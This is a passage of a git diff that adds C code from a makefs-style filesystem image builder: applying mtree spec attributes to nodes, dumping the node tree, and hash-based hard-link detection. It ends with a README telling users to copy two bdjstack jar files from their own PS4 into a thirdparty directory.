~ALLPERMS; + dirnode->inode->st.st_mode |= (specnode->st_mode & ALLPERMS); + } + /* XXX: ignoring F_NLINK for now */ + if (specnode->flags & F_SIZE) { + ASEPRINT("size", "%lld", + (long long)dirnode->inode->st.st_size, + (long long)specnode->st_size); + dirnode->inode->st.st_size = specnode->st_size; + } + if (specnode->flags & F_SLINK) { + assert(dirnode->symlink != NULL); + assert(specnode->slink != NULL); + ASEPRINT("symlink", "%s", dirnode->symlink, specnode->slink); + free(dirnode->symlink); + dirnode->symlink = strdup(specnode->slink); + } + if (specnode->flags & F_TIME) { + ASEPRINT("time", "%ld", + (long)dirnode->inode->st.st_mtime, + (long)specnode->st_mtimespec.tv_sec); + dirnode->inode->st.st_mtime = specnode->st_mtimespec.tv_sec; + dirnode->inode->st.st_atime = specnode->st_mtimespec.tv_sec; + dirnode->inode->st.st_ctime = start_time.tv_sec; +#if HAVE_STRUCT_STAT_ST_MTIMENSEC + dirnode->inode->st.st_mtimensec = specnode->st_mtimespec.tv_nsec; + dirnode->inode->st.st_atimensec = specnode->st_mtimespec.tv_nsec; + dirnode->inode->st.st_ctimensec = start_time.tv_nsec; +#endif + } + if (specnode->flags & (F_UID | F_UNAME)) { + ASEPRINT("uid", "%d", + dirnode->inode->st.st_uid, specnode->st_uid); + dirnode->inode->st.st_uid = specnode->st_uid; + } +#if HAVE_STRUCT_STAT_ST_FLAGS + if (specnode->flags & F_FLAGS) { + ASEPRINT("flags", "%#lX", + (unsigned long)dirnode->inode->st.st_flags, + (unsigned long)specnode->st_flags); + dirnode->inode->st.st_flags = specnode->st_flags; + } +#endif + if (specnode->flags & F_DEV) { + ASEPRINT("rdev", "%#llx", + (unsigned long long)dirnode->inode->st.st_rdev, + (unsigned long long)specnode->st_rdev); + dirnode->inode->st.st_rdev = specnode->st_rdev; + } +#undef ASEPRINT + + dirnode->flags |= FSNODE_F_HASSPEC; +} + + +/* + * dump_fsnodes -- + * dump the fsnodes from `cur' + */ +void +dump_fsnodes(fsnode *root) +{ + fsnode *cur; + char path[MAXPATHLEN + 1]; + + printf("dump_fsnodes: %s %p\n", root->path, root); + for (cur = root; cur != NULL; cur = cur->next) { + if (snprintf(path, sizeof(path), "%s/%s", cur->path, + cur->name) >= (int)sizeof(path)) + errx(1, "Pathname too long."); + + if (debug & DEBUG_DUMP_FSNODES_VERBOSE) + printf("cur=%8p parent=%8p first=%8p ", + cur, cur->parent, cur->first); + printf("%7s: %s", inode_type(cur->type), path); + if (S_ISLNK(cur->type)) { + assert(cur->symlink != NULL); + printf(" -> %s", cur->symlink); + } else { + assert (cur->symlink == NULL); + } + if (cur->inode->nlink > 1) + printf(", nlinks=%d", cur->inode->nlink); + putchar('\n'); + + if (cur->child) { + assert (cur->type == S_IFDIR); + dump_fsnodes(cur->child); + } + } + printf("dump_fsnodes: finished %s/%s\n", root->path, root->name); +} + + +/* + * inode_type -- + * for a given inode type `mode', return a descriptive string. + * for most cases, uses inotype() from mtree/misc.c + */ +const char * +inode_type(mode_t mode) +{ + + if (S_ISLNK(mode)) + return ("symlink"); /* inotype() returns "link"... */ + return (inotype(mode)); +} + + +/* + * link_check -- + * return pointer to fsinode matching `entry's st_ino & st_dev if it exists, + * otherwise add `entry' to table and return NULL + */ +/* This was borrowed from du.c and tweaked to keep an fsnode + * pointer instead. -- dbj@netbsd.org + */ +static fsinode * +link_check(fsinode *entry) +{ + static struct entry { + fsinode *data; + } *htable; + static int htshift; /* log(allocated size) */ + static int htmask; /* allocated size - 1 */ + static int htused; /* 2*number of insertions */ + int h, h2; + uint64_t tmp; + /* this constant is (1<<64)/((1+sqrt(5))/2) + * aka (word size)/(golden ratio) + */ + const uint64_t HTCONST = 11400714819323198485ULL; + const int HTBITS = 64; + + /* Never store zero in hashtable */ + assert(entry); + + /* Extend hash table if necessary, keep load under 0.5 */ + if (htused<<1 >= htmask) { + struct entry *ohtable; + + if (!htable) + htshift = 10; /* starting hashtable size */ + else + htshift++; /* exponential hashtable growth */ + + htmask = (1 << htshift) - 1; + htused = 0; + + ohtable = htable; + htable = calloc(htmask+1, sizeof(*htable)); + /* populate newly allocated hashtable */ + if (ohtable) { + int i; + for (i = 0; i <= htmask>>1; i++) + if (ohtable[i].data) + link_check(ohtable[i].data); + free(ohtable); + } + } + + /* multiplicative hashing */ + tmp = entry->st.st_dev; + tmp <<= HTBITS>>1; + tmp |= entry->st.st_ino; + tmp *= HTCONST; + h = tmp >> (HTBITS - htshift); + h2 = 1 | ( tmp >> (HTBITS - (htshift<<1) - 1)); /* must be odd */ + + /* open address hashtable search with double hash probing */ + while (htable[h].data) { + if ((htable[h].data->st.st_ino == entry->st.st_ino) && + (htable[h].data->st.st_dev == entry->st.st_dev)) { + return htable[h].data; + } + h = (h + h2) & htmask; + } + + /* Insert the current entry into hashtable */ + htable[h].data = entry; + htused++; + return NULL; +} diff --git a/thirdparty/topsecret/README.txt b/thirdparty/topsecret/README.txt new file mode 100644 index 0000000..fbbac88 --- /dev/null +++ b/thirdparty/topsecret/README.txt @@ -0,0 +1,5 @@ +These files must be retrieved from your PS4 and placed here: + + /app/NPXS20113/bdjstack/bdjstack.jar + /app/NPXS20113/bdjstack/lib/rt.jar +